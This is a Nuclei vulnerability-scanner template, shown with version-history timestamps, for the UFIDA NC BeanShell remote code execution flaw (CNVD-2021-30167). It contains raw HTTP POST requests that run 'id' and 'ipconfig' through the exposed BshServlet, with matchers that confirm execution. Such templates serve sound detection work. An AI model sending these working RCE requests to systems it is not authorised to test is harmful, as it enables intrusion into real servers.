nuclei-templates/cnvd/CNVD-2021-30167.yaml

45 lines
1.1 KiB
YAML
Raw Normal View History

2021-06-03 17:17:18 +00:00
id: CNVD-2021-30167
2021-06-01 08:28:04 +00:00
info:
2021-06-03 17:17:18 +00:00
name: UFIDA NC BeanShell Remote Code Execution
2021-06-01 08:28:04 +00:00
author: pikpikcu
severity: high
2021-06-03 17:17:18 +00:00
reference: |
- https://mp.weixin.qq.com/s/FvqC1I_G14AEQNztU0zn8A
- https://www.cnvd.org.cn/webinfo/show/6491
tags: beanshell,rce,cnvd
2021-06-01 08:28:04 +00:00
requests:
- raw:
- | #linux
POST /servlet/~ic/bsh.servlet.BshServlet HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Content-Type: application/x-www-form-urlencoded
2021-06-02 12:37:32 +00:00
2021-06-03 17:17:18 +00:00
bsh.script=exec("id");
2021-06-01 08:28:04 +00:00
- | #windows
POST /servlet/~ic/bsh.servlet.BshServlet HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Content-Type: application/x-www-form-urlencoded
2021-06-02 12:37:32 +00:00
bsh.script=exec("ipconfig");
2021-06-01 08:28:04 +00:00
matchers-condition: and
matchers:
- type: regex
regex:
2021-06-03 17:17:18 +00:00
- "uid="
2021-06-01 08:28:04 +00:00
- "Windows IP"
2021-06-03 17:17:18 +00:00
condition: or
- type: word
words:
- "BeanShell Test Servlet"
2021-06-01 08:28:04 +00:00
- type: status
status:
2021-06-03 15:44:13 +00:00
- 200